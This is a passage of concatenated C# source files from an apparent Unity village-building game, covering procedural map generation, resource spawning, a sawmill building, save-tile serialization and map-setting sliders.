public const string WaterTag = "Water";
public const string IronTag = "Gold";
//Item object tag
public const string RockItemTag = "Stone";
public const string TreeItemTag = "Wood";
public const string WaterItemTag = "WaterBucket";
public const string IronItemTag = "GoldOre";
public const string MoneyItemTag = "GoldBar";
}
public enum Direction
{
Right,
Up,
Left,
Down
}
public enum TileType
{
Empty,
InUse,
Wood,
Stone,
Iron,
Water,
Building,
BuildingArea
};
public enum BuildingType
{
House,
Sawmill,
StoneCutter,
IronMine,
Storage,
NULL
};
public enum ResourceType
{
Wood,
Stone,
Gold,
Food,
Water,
Planks,
Nothing
}
enum ResourceView
{
Full,
Moderate,
Limited,
Empty
}
public enum VillagerJobs
{
WoodGatherer,
StonerCutter,
GoldMiner,
FoodHavester,
WaterGatherer
}
public enum MainMenuButtons
{
New,
Load,
Exit,
Back,
Create
}
public enum MenuButtons
{
Save,
Options,
Exit
}
public enum BuildButtons
{
House,
Saw,
Stone,
Mine,
Bucket,
Grass,
Water,
Tree,
Rock,
Wreck
}
public enum NetworkMessageID
{
NULL,
Map,
NewBuilding,
BuildingDestroyed,
NewResource,
ResourceDestroyed,
NewVillager,
VillagerDestroyed
}
public struct SpawnObject
{
public int rowSize, colSize, spawnSize, waterCount, waterSize, treeCount, treeSize, rockCount, rockSize, ironCount, ironSize;
public SpawnObject(int row, int col, int spawn, int waterC, int waterS, int treeC, int treeS, int rockC, int rockS, int ironC, int ironS)
{
rowSize = row;
colSize = col;
spawnSize = spawn;
waterCount = waterC;
waterSize = waterS;
treeCount = treeC;
treeSize = treeS;
rockCount = rockC;
rockSize = rockS;
ironCount = ironC;
ironSize = ironS;
}
}
[Serializable]
public struct Coord
{
public int x;
public int y;
public Coord(int X, int Y)
{
x = X;
y = Y;
}
public Coord(Vector2 vec)
{
x = (int)vec.x;
y = (int)vec.y;
}
public static bool operator ==(Coord c1, Coord c2)
{
return (c1.x == c2.x && c1.y == c2.y);
}
public static bool operator !=(Coord c1, Coord c2)
{
return (c1.x != c2.x || c1.y != c2.y);
}
public override bool Equals(object obj)
{
return base.Equals(obj);
}
public override int GetHashCode()
{
return base.GetHashCode();
}
}
<file_sep>/Assets/Code/Map/MapCreator.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MapCreator : MonoBehaviour {
MapGrid grid;
// Use this for initialization
void Start () {
grid = GetComponent<MapGrid>();
}
public void CreateNewMap(SpawnObject spawning)
{
//Create new map
grid.InitialiseMap(spawning);
}
// Update is called once per frame
void Update () {
}
}
<file_sep>/Assets/Code/Enviroment/SawMillController.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SawMillController : BuildingController
{
public int holdingAmount = 0;
public int amountCreated = 0;
public float createTime = 2f;
public float timeLeft = 0;
SawSpinner saw;
private bool villagerSpawned = false;
public override void Init(Coord spawnPosition, BuildingType bType, Coord[] otherPositions)
{
base.Init(spawnPosition, bType, otherPositions);
timeLeft = createTime;
saw = GetComponentInChildren<SawSpinner>();
if(mapEditor.hasLoaded())
SpawnVillager();
}
public override void Deposit(int depositAmount)
{
saw.isWorking = true;
holdingAmount += depositAmount;
}
public override void SpawnVillager()
{
GameObject villager = Instantiate(mapEditor.villagerPrefab, new Vector3(Tags.TileSize * position.x, 0, Tags.TileSize * position.y), Quaternion.identity, transform);
villager.GetComponent<EmptyBrain>().Init(position, gameObject, TileType.Wood, ResourceType.Wood);
villagerSpawned = true;
}
private void Update()
{
if (holdingAmount > 0)
{
if (timeLeft > 0)
{
timeLeft -= Time.deltaTime;
}
else
{
holdingAmount--;
amountCreated += 2;
timeLeft = createTime;
if (holdingAmount <= 0)
saw.isWorking = false;
}
}
if(!villagerSpawned && mapEditor.hasLoaded())
{
SpawnVillager();
}
}
}
<file_sep>/Assets/Code/Enviroment/SawSpinner.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class SawSpinner : MonoBehaviour {
public float rotateSpeed = 3.0f;
public bool isWorking = false;
// Update is called once per frame
void Update () {
if(isWorking)
transform.Rotate(new Vector3(-(rotateSpeed * Time.deltaTime), 0, 0));
}
}
<file_sep>/Assets/Code/Game/Network/NetworkMessage.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[System.Serializable]
public class NetworkMessage{
public NetworkMessageID messageID;
public Coord position;
public BuildingType building;
public ResourceType resource;
public NetworkMessage()
{
messageID = NetworkMessageID.NULL;
}
public NetworkMessage(NetworkMessageID message, Coord positionP, BuildingType buildingT)
{
messageID = message;
position = positionP;
building = buildingT;
}
public NetworkMessage(NetworkMessageID message, Coord positionP, ResourceType resourceT)
{
messageID = message;
position = positionP;
resource = resourceT;
}
}
<file_sep>/Assets/Code/Map/MapGrid.cs
using System.Collections.Generic;
using System.Collections.ObjectModel;
using UnityEngine;
class MapGrid : MonoBehaviour
{
//Stores the prefab for tiles
public GameObject tilePrefab = null;
public GameObject waterPrefab = null;
public GameObject rockPrefab = null;
public GameObject treePrefab = null;
public GameObject ironPrefab = null;
public GameObject[] buildings = null;
public int waterHoles = 4;
public int maxWaterSize = 15;
public int forests = 4;
public int maxForestSize = 20;
public int quarys = 4;
public int maxQuarySize = 10;
public int ironMines = 2;
public int maxIronSize = 5;
public int spawnSize = 1;
public float spawnSpeed = 0.001f;
public float nextSpawn;
private bool start = false;
private bool complete = false;
private bool loadingFromFile = false;
private bool showMap = false;
//Stores the tiles of the map
public List<List<GameObject>> tiles;
int currentYPosition;
Coord maxGrid;
Coord spawnPoint;
//Map we have loaded
List<MapTileSave> loadedMap;
CameraController mainCamera;
//Get a read only version of the map
public ReadOnlyCollection<List<GameObject>> GetMapTiles
{
get
{
return tiles.AsReadOnly();
}
}
//Returns a single tile from the map
public GameObject GetTile(Coord getCoord)
{
if (getCoord.x < 0 || getCoord.x >= maxGrid.x || getCoord.y < 0 || getCoord.y >= maxGrid.y)
return null;
return tiles[getCoord.x][getCoord.y];
}
//Returns the tile component from the map
public TileController GetTileController(Coord getCoord)
{
if (getCoord.x < 0 || getCoord.x >= maxGrid.x || getCoord.y < 0 || getCoord.y >= maxGrid.y)
return null;
try
{
TileController tileC = tiles[getCoord.x][getCoord.y].GetComponent<TileController>();
return tileC;
}
catch(System.ArgumentOutOfRangeException e)
{
return null;
}
}
public Resource GetResourceAtTile(Coord tile)
{
return tiles[tile.x][tile.y].GetComponentInChildren<Resource>();
}
//replace a tile
public void ReplaceTile(Coord position, GameObject replacement)
{
Destroy(tiles[position.x][position.y]);
tiles[position.x][position.y] = replacement;
}
//Returns the map size
public Coord mapSize
{
get
{
return maxGrid;
}
}
//Creates map from a file save
public void CreateMapFromFile(List<MapTileSave> savedMap, Coord newMapSize)
{
loadingFromFile = true;
start = true;
complete = false;
DestroyMap();
loadedMap = savedMap;
currentYPosition = 0;
//Create map from saved file
maxGrid = newMapSize;
tiles = new List<List<GameObject>>();
for (int x = 0; x < maxGrid.x; x++)
tiles.Add(new List<GameObject>());
mainCamera.canPlayerMove = false;
mainCamera.UpdateMaxMapSize(newMapSize);
mainCamera.JumpToPosition(new Vector3(newMapSize.x, newMapSize.y / 2, -8));
}
//Creates a map from a save file
private GameObject CreateTileFromSave(MapTileSave tileSave, int x, int y)
{
if (tileSave.tile == TileType.Water)
{
return Instantiate(waterPrefab, new Vector3(Tags.TileSize * x, 0, Tags.TileSize * y), Quaternion.identity, transform);
}
else
{
GameObject gO = Instantiate(tilePrefab, new Vector3(Tags.TileSize * x, 0, Tags.TileSize * y), Quaternion.identity, transform);
switch (tileSave.tile)
{
case TileType.Building:
GameObject newBuilding = Instantiate(buildings[(int)tileSave.building], new Vector3(x * Tags.TileSize, 0, y * Tags.TileSize), Quaternion.identity, gO.transform);
newBuilding.GetComponent<BuildingController>().Init(new Coord(x, y), BuildingType.House);
gO.GetComponent<TileController>().Init(x, y, TileType.Building, newBuilding);
break;
case TileType.Iron:
//TODO:Iron spawn
break;
case TileType.Stone:
GameObject stone = Instantiate(rockPrefab, new Vector3(x * Tags.TileSize, 0, y * Tags.TileSize), Quaternion.identity, gO.transform);
stone.GetComponent<Resource>().Init(tileSave.maxResourceSize, tileSave.resourceSize, tileSave.doesResourceRegen, tileSave.regenTime, tileSave.regenAmount);
gO.GetComponent<TileController>().Init(x, y, tileSave.tile, stone);
break;
case TileType.Wood:
GameObject wood = Instantiate(treePrefab, new Vector3(x * Tags.TileSize, 0, y * Tags.TileSize), Quaternion.identity, gO.transform);
wood.GetComponent<Resource>().Init(tileSave.maxResourceSize, tileSave.resourceSize, tileSave.doesResourceRegen, tileSave.regenTime, tileSave.regenAmount);
gO.GetComponent<TileController>().Init(x, y, tileSave.tile, wood);
break;
default:
gO.GetComponent<TileController>().Init(new Coord(x, y), tileSave.tile);
break;
}
return gO;
}
}
public void Start()
{
maxGrid = new Coord(0, 0);
nextSpawn = spawnSpeed;
mainCamera = GameObject.FindGameObjectWithTag(Tags.MainCamera).GetComponent<CameraController>();
InitialiseMap(new SpawnObject(50, 50, 4, 30, 30, 30, 30, 30, 30, 30, 30));
showMap = true;
}
//Slowly generate map
public void Update()
{
if (start)
if (!complete)
if (!loadingFromFile)
{
//Generate a new map
//Slowly builds the map
if (maxGrid.y > currentYPosition)
{
for (int x = 0; x < maxGrid.x; x++)
{
GameObject tile = Instantiate(tilePrefab, new Vector3(x * Tags.TileSize, 0, currentYPosition * Tags.TileSize), Quaternion.identity, transform);
tile.GetComponent<TileController>().Init(x, currentYPosition, TileType.Empty);
tiles[x].Add(tile);
}
currentYPosition++;
}
else if (currentYPosition == maxGrid.y)
{
if (nextSpawn <= 0)
{
GenerateMap();
nextSpawn = spawnSpeed;
}
else
{
nextSpawn -= Time.deltaTime;
}
}
}
else
{
//Create the map
for(int x = 0; x < mapSize.x; x++)
{
tiles[x].Add(CreateTileFromSave(loadedMap[(mapSize.x * x) + currentYPosition], x, currentYPosition));
}
currentYPosition++;
if (currentYPosition == mapSize.y)
{
start = false;
complete = true;
loadingFromFile = false;
mainCamera.canPlayerMove = true;
loadedMap.Clear();
loadedMap = null;
}
}
}
//Retruns true when the map has been loaded
public bool hasLoaded()
{
return complete;
}
//Creates the starting area
public void InitialiseMap(SpawnObject spawnV)
{
//Get variables for the spawning
forests = spawnV.treeCount;
maxForestSize = spawnV.treeSize;
waterHoles = spawnV.waterCount;
maxWaterSize = spawnV.waterSize;
quarys = spawnV.rockCount;
maxQuarySize = spawnV.rockSize;
ironMines = spawnV.ironCount;
maxIronSize = spawnV.ironSize;
spawnSize = spawnV.spawnSize;
mainCamera.JumpToPosition(new Vector3(spawnV.rowSize, spawnV.colSize / 2, -8));
DestroyMap();
maxGrid = new Coord(spawnV.rowSize, spawnV.colSize);
mainCamera.UpdateMaxMapSize(maxGrid);
currentYPosition = 0;
tiles = new List<List<GameObject>>();
for (int x = 0; x < maxGrid.x; x++)
tiles.Add(new List<GameObject>());
//Spawn people in the center of the map
spawnPoint = new Coord((maxGrid.x / 2), (maxGrid.y / 2));
start = true;
complete = false;
loadingFromFile = false;
showMap = false;
}
//Removes all the tiles on the map
private void DestroyMap()
{
if (tiles != null)
foreach (List<GameObject> list in tiles)
{
foreach (GameObject gameO in list)
{
Destroy(gameO);
}
list.Clear();
}
tiles = null;
}
public bool IsEmpty(Coord tile)
{
return tiles[tile.x][tile.y].GetComponent<TileController>().GetTileType() == TileType.Empty;
}
//Returns the tile gameobject at the coordinate
public GameObject GetTileAt(Coord position)
{
if (position.x < 0 || position.x >= tiles.Count || position.y < 0 || position.y >= tiles[position.x].Count)
{
throw new System.IndexOutOfRangeException();
}
return tiles[position.x][position.y];
}
//Get the tile type and a coordinate
public TileType GetTypeAt(Coord position)
{
if (position.x < 0 || position.x >= tiles.Count || position.y < 0 || position.y >= tiles[position.x].Count)
{
throw new System.IndexOutOfRangeException();
}
TileType positionType = tiles[position.x][position.y].GetComponent<TileController>().GetTileType();
return positionType;
}
//Adds resources to the map
private void GenerateMap()
{
Coord resourceSpawn = GetRandomCoord(spawnPoint);
//Spawn Water
if (waterHoles > 0)
{
//Get a spawn point for the water
resourceSpawn = GetRandomCoord(spawnPoint);
if (resourceSpawn.x != -1)
AddResource(TileType.Water, resourceSpawn);
waterHoles--;
}
//Spawn Wood
else if (forests > 0)
{
resourceSpawn = GetRandomCoord(spawnPoint);
if (resourceSpawn.x != -1)
AddResource(TileType.Wood, resourceSpawn);
forests--;
}
//Spawn stone
else if (quarys > 0)
{
resourceSpawn = GetRandomCoord(spawnPoint);
if (resourceSpawn.x != -1)
AddResource(TileType.Stone, resourceSpawn);
quarys--;
}
else
{
if (!showMap)
{
//Add the house to the center of the map
GameObject house = Instantiate(buildings[(int)BuildingType.House], new Vector3(spawnPoint.x * Tags.TileSize, 0, spawnPoint.y * Tags.TileSize), Quaternion.identity, tiles[spawnPoint.x][spawnPoint.y].transform);
tiles[spawnPoint.x][spawnPoint.y].GetComponent<TileController>().Init(spawnPoint.x, spawnPoint.y, TileType.Building, house);
//Move camera to first house
mainCamera.MoveToPosition(new Vector3(spawnPoint.x * Tags.TileSize, 8, (spawnPoint.y * Tags.TileSize) - 7));
}
complete = true;
start = false;
}
}
//Adds resources to the map
private void AddResource(TileType typeToAdd, Coord resourceSpawn)
{
int maxSize = 0;
Coord[] spread = null;
switch (typeToAdd)
{
case TileType.Water:
maxSize = Mathf.Clamp(Random.Range(maxWaterSize / 2, maxWaterSize), 1, maxWaterSize);
spread = GetSpread(resourceSpawn, maxSize);
SpawnResources(resourceSpawn, spread, TileType.Water);
break;
case TileType.Wood:
maxSize = Mathf.Clamp(Random.Range(maxForestSize / 2, maxForestSize), 1, maxForestSize);
spread = GetSpread(resourceSpawn, maxSize);
SpawnResources(resourceSpawn, spread, TileType.Wood);
break;
case TileType.Stone:
maxSize = Mathf.Clamp(Random.Range(maxQuarySize / 2, maxQuarySize), 1, maxQuarySize);
spread = GetSpread(resourceSpawn, maxSize);
SpawnResources(resourceSpawn, spread, TileType.Stone);
break;
case TileType.Iron:
break;
}
}
//Spawns the resources in the game world
private void SpawnResources(Coord center, Coord[] spread, TileType type)
{
//Spawn water tiles by first removing the grass tile
if (type == TileType.Water)
{
Destroy(tiles[center.x][center.y]);
tiles[center.x][center.y] = Instantiate(waterPrefab, new Vector3(center.x * Tags.TileSize, 0, center.y * Tags.TileSize), Quaternion.identity, transform);
tiles[center.x][center.y].GetComponent<TileController>().Init(center.x, center.y, TileType.Water);
for (int i = 0; i < spread.Length; i++)
{
if (spread[i].x != -1 && (spread[i].x != 0 && spread[i].y != 0))
{
Destroy(tiles[spread[i].x][spread[i].y]);
tiles[spread[i].x][spread[i].y] = Instantiate(waterPrefab, new Vector3(spread[i].x * Tags.TileSize, 0, spread[i].y * Tags.TileSize), Quaternion.identity, transform);
tiles[spread[i].x][spread[i].y].GetComponent<TileController>().Init(spread[i].x, spread[i].y, TileType.Water);
}
else
break;
}
}
//spawn objects on the map including trees, rocks and gold
else
{
{
GameObject resourceObject = null;
switch (type)
{
case TileType.Wood:
resourceObject = Instantiate(treePrefab, new Vector3(center.x * Tags.TileSize, 0, center.y * Tags.TileSize), Quaternion.identity, tiles[center.x][center.y].transform);
tiles[center.x][center.y].GetComponent<TileController>().Init(center, TileType.Wood, resourceObject);
resourceObject.GetComponent<Resource>().Init(200, 200, false, 60, 1);
break;
case TileType.Stone:
resourceObject = Instantiate(rockPrefab, new Vector3(center.x * Tags.TileSize, 0, center.y * Tags.TileSize), Quaternion.identity, tiles[center.x][center.y].transform);
resourceObject.GetComponent<Resource>().Init(200, 200, true, 60, 1);
tiles[center.x][center.y].GetComponent<TileController>().Init(center, TileType.Stone, resourceObject);
break;
case TileType.Iron:
resourceObject = Instantiate(ironPrefab, new Vector3(center.x * Tags.TileSize, 0, center.y * Tags.TileSize), Quaternion.identity, tiles[center.x][center.y].transform);
resourceObject.GetComponent<Resource>().Init(200, 200, true, 60, 1);
tiles[center.x][center.y].GetComponent<TileController>().Init(center, TileType.Iron, resourceObject);
break;
}
}
//Spawn resources near an area
for (int i = 0; i < spread.Length; i++)
{
if (spread[i].x != -1 && (spread[i].x != 0 && spread[i].y != 0))
{
GameObject resourceObject = null;
switch (type)
{
case TileType.Wood:
resourceObject = Instantiate(treePrefab, new Vector3(spread[i].x * Tags.TileSize, 0, spread[i].y * Tags.TileSize), Quaternion.identity, tiles[spread[i].x][spread[i].y].transform);
tiles[spread[i].x][spread[i].y].GetComponent<TileController>().Init(spread[i], TileType.Wood, resourceObject);
resourceObject.GetComponent<Resource>().Init(200, 2, true, 60, 1);
break;
case TileType.Stone:
resourceObject = Instantiate(rockPrefab, new Vector3(spread[i].x * Tags.TileSize, 0, spread[i].y * Tags.TileSize), Quaternion.identity, tiles[spread[i].x][spread[i].y].transform);
resourceObject.GetComponent<Resource>().Init(200, 2, true, 60, 1);
tiles[spread[i].x][spread[i].y].GetComponent<TileController>().Init(spread[i], TileType.Stone, resourceObject);
break;
case TileType.Iron:
resourceObject = Instantiate(ironPrefab, new Vector3(spread[i].x * Tags.TileSize, 0, spread[i].y * Tags.TileSize), Quaternion.identity, tiles[spread[i].x][spread[i].y].transform);
resourceObject.GetComponent<Resource>().Init(200, 2, true, 60, 1);
tiles[spread[i].x][spread[i].y].GetComponent<TileController>().Init(spread[i], TileType.Iron, resourceObject);
break;
}
}
else
break;
}
}
}
//gets locations near the start coord to spread the resource out
private Coord[] GetSpread(Coord startCoord, int spreadAmount)
{
if (spreadAmount == 0)
{
return null;
}
Coord[] spread = new Coord[spreadAmount];
int currentSpreadSize = 0;
for (int i = 0; i < Mathf.Clamp(4, 0, spread.Length); i++)
{
Coord emptyPoint = GetAdjacentEmptyTile(startCoord);
if (emptyPoint.x != -1)
{
spread[currentSpreadSize++] = emptyPoint;
tiles[emptyPoint.x][emptyPoint.y].GetComponent<TileController>().SetTileType(TileType.InUse);
}
}
int failover = 10;
//Keep searcing for empty tiles
while (currentSpreadSize < spreadAmount)
{
for (int i = 0; i < currentSpreadSize; i++)
{
Coord emptyTile = GetAdjacentEmptyTile(spread[i]);
if (emptyTile.x != -1)
{
spread[currentSpreadSize++] = emptyTile;
tiles[emptyTile.x][emptyTile.y].GetComponent<TileController>().SetTileType(TileType.InUse);
if (currentSpreadSize >= spreadAmount)
break;
}
}
failover--;
if (failover < 0)
break;
}
return spread;
}
//Returns a coord that points to an empty tile
private Coord GetAdjacentEmptyTile(Coord point)
{
int rand = Random.Range(1, 4);
switch (rand)
{
case 1:
if (CheckRight(point))
return new Coord(point.x + 1, point.y);
if (CheckUp(point))
return new Coord(point.x, point.y + 1);
if (CheckLeft(point))
return new Coord(point.x - 1, point.y);
if (CheckDown(point))
return new Coord(point.x, point.y - 1);
break;
case 2:
if (CheckUp(point))
return new Coord(point.x, point.y + 1);
if (CheckDown(point))
return new Coord(point.x, point.y - 1);
if (CheckRight(point))
return new Coord(point.x + 1, point.y);
if (CheckLeft(point))
return new Coord(point.x - 1, point.y);
break;
case 3:
if (CheckLeft(point))
return new Coord(point.x - 1, point.y);
if (CheckRight(point))
return new Coord(point.x + 1, point.y);
if (CheckDown(point))
return new Coord(point.x, point.y - 1);
if (CheckUp(point))
return new Coord(point.x, point.y + 1);
break;
case 4:
if (CheckDown(point))
return new Coord(point.x, point.y - 1);
if (CheckLeft(point))
return new Coord(point.x - 1, point.y);
if (CheckUp(point))
return new Coord(point.x, point.y + 1);
if (CheckRight(point))
return new Coord(point.x + 1, point.y);
break;
}
return new Coord(-1, -1);
}
//Check for empty tiles
public bool CheckRight(Coord point, TileType type = TileType.Empty)
{
if (IsInSpawnArea(point.x + 1, point.y))
return false;
if (point.x + 1 < maxGrid.x)
{
return (tiles[point.x + 1][point.y].GetComponent<TileController>().GetTileType() == type);
}
return false;
}
public bool CheckLeft(Coord point, TileType type = TileType.Empty)
{
if (IsInSpawnArea(point.x - 1, point.y))
return false;
if (point.x - 1 > 0)
{
return (tiles[point.x - 1][point.y].GetComponent<TileController>().GetTileType() == type);
}
return false;
}
public bool CheckUp(Coord point, TileType type = TileType.Empty)
{
if (IsInSpawnArea(point.x, point.y + 1))
return false;
if (point.y + 1 < maxGrid.y)
{
return (tiles[point.x][point.y + 1].GetComponent<TileController>().GetTileType() == type);
}
return false;
}
public bool CheckDown(Coord point, TileType type = TileType.Empty)
{
if (IsInSpawnArea(point.x, point.y - 1))
return false;
if (point.y - 1 >= 0)
{
return (tiles[point.x][point.y - 1].GetComponent<TileController>().GetTileType() == type);
}
return false;
}
//Checks if point is in spawn area
private bool IsInSpawnArea(int x, int y)
{
return IsInSpawnArea(new Coord(x, y));
}
//Checks if the point is in the spawn area
private bool IsInSpawnArea(Coord point)
{
return (point.x <= (spawnPoint.x + spawnSize) && point.x >= (spawnPoint.x - spawnSize)) && (point.y <= (spawnPoint.y + spawnSize) && point.y >= (spawnPoint.y - spawnSize));
}
//Get a radom coord missing a 1 + spawnsize * 2 square around the spawn point
private Coord GetRandomCoord(Coord spawnPoint)
{
Coord newPos = new Coord();
//if we fail to find a place over 100 times give up
int failSafe = 100;
do
{
do
{
newPos.x = Random.Range(0, maxGrid.x - 1);
newPos.y = Random.Range(0, maxGrid.y - 1);
failSafe--;
//While the new position is in an empty space
} while (IsInSpawnArea(newPos));
if (failSafe == 0)
return GetFirstEmptyTile();
//While the position is empty
} while (GetTypeAt(newPos) != TileType.Empty);
return newPos;
}
//returns the first empty tile
private Coord GetFirstEmptyTile()
{
for (int x = 0; x < maxGrid.x; x++)
{
for (int y = 0; y < maxGrid.y; y++)
{
if (GetTypeAt(new Coord(x, y)) == TileType.Empty)
return new Coord(x, y);
}
}
return new Coord(-1, -1);
}
//Checks if our tile is connected to a specific type
public bool isCloseTo(int x, int y, TileType type)
{
if (tiles.Count != 0)
{
if (tiles.Count < x + 1 && tiles.Count != 0)
{
if (tiles[x + 1][y].GetComponent<TileController>().GetTileType() == type)
return true;
}
if ((x - 1) >= 0)
{
if (tiles[x - 1][y].GetComponent<TileController>().GetTileType() == type)
return true;
}
}
if (tiles[x].Count != 0)
{
if (tiles[x].Count < y + 1)
{
if (tiles[x][y + 1].GetComponent<TileController>().GetTileType() == type)
return true;
}
if (y - 1 >= 0)
{
if (tiles[x][y - 1].GetComponent<TileController>().GetTileType() == type)
return true;
}
}
return false;
}
}
<file_sep>/Assets/Code/Game/Save/MapTileSave.cs
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[System.Serializable]
public class MapTileSave
{
public TileType tile;
public BuildingType building;
public ResourceType resourceType;
public int maxResourceSize;
public int resourceSize;
public bool doesResourceRegen;
public float regenTime;
public int regenAmount;
public MapTileSave()
{
}
public MapTileSave(TileType tileT)
{
tile = tileT;
}
public MapTileSave(TileType tileT, BuildingType buildingT)
{
tile = tileT;
building = buildingT;
}
public MapTileSave(TileType tileT, ResourceType resourceT, int maxResourceAmount, int resourceAmount, bool doesItRegen, float regenNewTime, int regenNewAmount)
{
tile = tileT;
resourceType = resourceT;
maxResourceSize = maxResourceAmount;
resourceSize = resourceAmount;
doesResourceRegen = doesItRegen;
regenTime = regenNewTime;
regenAmount = regenNewAmount;
}
public override string ToString()
{
return string.Format("TileID:{0},BuildingID:{1},ResourceSize:{2}", tile, building, resourceSize);
}
//Convert TileController to a MapTileSave
public static implicit operator MapTileSave(TileController tile)
{
Resource tileResource = tile.GetConnectedResource();
if (tileResource != null)
return new MapTileSave(tile.GetTileType(), tileResource.resourceType, tileResource.maxResouse, tileResource.resourceLeft, tileResource.doesResourseRegen, tileResource.regenTime, tileResource.regenAmount);
else if (tile.GetBuildingType() != BuildingType.NULL)
{
return new MapTileSave(tile.GetTileType(), tile.GetBuildingType());
}
else
return new MapTileSave(tile.GetTileType());
}
}
<file_sep>/Assets/Code/Camera/UI/SliderController.cs
using System;
using System.Linq;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.UI;
public enum SliderID
{
X,
Y,
Spawn,
Tree,
TreeSize,
Water,
WaterSize,
Rock,
RockSize,
Iron,
IronSize
}
public class SliderController : MonoBehaviour
{
//Collection of all the sliders and input field for the map generator
Slider xSlider;
Slider ySlider;
InputField xField;
InputField yField;
Slider treeSlider;
InputField treeField;
Slider treeSizeSlider;
InputField treeSizeField;
Slider waterSlider;
InputField waterField;
Slider waterSizeSlider;
InputField waterSizeField;
Slider rockSlider;
InputField rockField;
Slider rockSizeSlider;
InputField rockSizeField;
Slider ironSlider;
InputField ironField;
Slider ironSizeSlider;
InputField ironSizeField;
Slider spawnSlider;
InputField spawnField;
int oldX = 0, oldY = 0;
int currentX = 0, currentY = 0, amountOfTrees = 0, treeSpawnSize = 0, amountOfWater = 0, waterSpawnSize = 0;
int amountOfRock = 0, rockSpawnSize = 0, amountOfIron = 0, ironSpawnSize = 0, spawnSize = 0;
public SpawnObject GetCurrentSpawnObject()
{
return new SpawnObject(currentX, currentY, spawnSize, amountOfWater, waterSpawnSize, amountOfTrees, treeSpawnSize, amountOfRock, rockSpawnSize, amountOfIron, ironSpawnSize);
}
public int CurrentX
{
get
{
return currentX;
}
set
{
if (value > 0)
{
currentX = value;
xSlider.value = value;
xField.text = value + "";
}
}
}
public int CurrentY
{
get
{
return currentY;
}
set
{
if (value > 0)
{
currentY = value;
ySlider.value = value;
yField.text = value + "";
}
}
}
public int AmountOfTrees
{
get
{
return amountOfTrees;
}
set
{
if (value != 0)
{
amountOfTrees = value;
treeSlider.value = value;
treeField.text = value + "";
}
}
}
public int TreeSpawnSize
{
get
{
return treeSpawnSize;
}
set
{
if (value != 0)
{
treeSpawnSize = value;
treeSizeSlider.value = value;
treeSizeField.text = value + "";
}
}
}
public int AmountOfWater
{
get
{
return amountOfWater;
}
set
{
if (value != 0)
{
amountOfWater = value;
waterSlider.value = value;
waterField.text = value + "";
}
}
}
public int WaterSpawnSize
{
get
{
return waterSpawnSize;
}
set
{
if (value != 0)
{
waterSpawnSize = value;
waterSizeSlider.value = value;
waterSizeField.text = value + "";
}
}
}
public int AmountOfRock
{
get
{
return amountOfRock;
}
set
{
if (value != 0)
{
amountOfRock = value;
rockSlider.value = value;
rockField.text = value + "";
}
}
}
public int RockSpawnSize
{
get
{
return rockSpawnSize;
}
set
{
if (value != 0)
{
rockSpawnSize = value;
rockSizeSlider.value = value;
rockSizeField.text = value + "";
}
}
}
public int AmountOfIron
{
get
{
return amountOfIron;
}
set
{
if (value != 0)
{
amountOfIron = value;
ironSlider.value = value;
ironField.text = value + "";
}
}
}
public int IronSpawnSize
{
get
{
return ironSpawnSize;
}
set
{
if (value != 0)
{
ironSpawnSize = value;
ironSizeSlider.value = value;
ironSizeField.text = value + "";
}
}
}
public int SpawnSize
{
get
{
return spawnSize;
}
set
{
if (value != 0)
{
spawnSize = value;
spawnSlider.value = value;
spawnField.text = value + "";
}
}
}
// Use this for initialization
void Start()
{
//Row count and Column count for the map
xSlider = GameObject.FindGameObjectWithTag(Tags.xSlider).GetComponent<Slider>();
ySlider = GameObject.FindGameObjectWithTag(Tags.ySlider).GetComponent<Slider>();
xField = GameObject.FindGameObjectWithTag(Tags.xSlider).GetComponentInChildren<InputField>();
yField = GameObject.FindGameObjectWithTag(Tags.ySlider).GetComponentInChildren<InputField>();
//Set our current values to the default value
CurrentX = (int)xSlider.value;
CurrentY = (int)ySlider.value;
//Tree count
treeSlider = GameObject.FindGameObjectWithTag(Tags.treeSlider).GetComponent<Slider>();
treeField = GameObject.FindGameObjectWithTag(Tags.treeSlider).GetComponentInChildren<InputField>();
AmountOfTrees = (int)treeSlider.value;
treeSizeSlider = GameObject.FindGameObjectWithTag(Tags.treeSizeSlider).GetComponent<Slider>();
treeSizeField = GameObject.FindGameObjectWithTag(Tags.treeSizeSlider).GetComponentInChildren<InputField>();
TreeSpawnSize = (int)treeSizeSlider.value;
//Water count
waterSlider = GameObject.FindGameObjectWithTag(Tags.waterSlider).GetComponent<Slider>();
waterField = GameObject.FindGameObjectWithTag(Tags.waterSlider).GetComponentInChildren<InputField>();
AmountOfWater = (int)waterSlider.value;
waterSizeSlider = GameObject.FindGameObjectWithTag(Tags.waterSizeSlider).GetComponent<Slider>();
waterSizeField = GameObject.FindGameObjectWithTag(Tags.waterSizeSlider).GetComponentInChildren<InputField>();
WaterSpawnSize = (int)waterSizeSlider.value;
//Rock count
rockSlider = GameObject.FindGameObjectWithTag(Tags.rockSlider).GetComponent<Slider>();
rockField = GameObject.FindGameObjectWithTag(Tags.rockSlider).GetComponentInChildren<InputField>();
AmountOfRock = (int)rockSlider.value;
rockSizeSlider = GameObject.FindGameObjectWithTag(Tags.rockSizeSlider).GetComponent<Slider>();
rockSizeField = GameObject.FindGameObjectWithTag(Tags.rockSizeSlider).GetComponentInChildren<InputField>();
RockSpawnSize = (int)rockSizeSlider.value;
//Iron Count
ironSlider = GameObject.FindGameObjectWithTag(Tags.ironSlider).GetComponent<Slider>();
ironField = GameObject.FindGameObjectWithTag(Tags.ironSlider).GetComponentInChildren<InputField>();
AmountOfIron = (int)ironSlider.value;
ironSizeSlider = GameObject.FindGameObjectWithTag(Tags.ironSizeSlider).GetComponent<Slider>();
ironSizeField = GameObject.FindGameObjectWithTag(Tags.ironSizeSlider).GetComponentInChildren<InputField>();
IronSpawnSize = (int)ironSizeSlider.value;
//Spawn size
spawnSlider = GameObject.FindGameObjectWithTag(Tags.spawnSlider).GetComponent<Slider>();
spawnField = GameObject.FindGameObjectWithTag(Tags.spawnSlider).GetComponentInChildren<InputField>();
SpawnSize = (int)spawnSlider.value;
}
public void SliderValueChanged(Slider changedSlider, SliderID id)
{
UpdateValue((int)changedSlider.value, id);
}
public void FieldValueChanged(InputField inField, SliderID id)
{
if (!String.IsNullOrEmpty(inField.text))
{
int value = Int32.Parse(inField.text);
UpdateValue(value, id);
}
}
private void UpdateValue(int value, SliderID id)
{
switch (id)
{
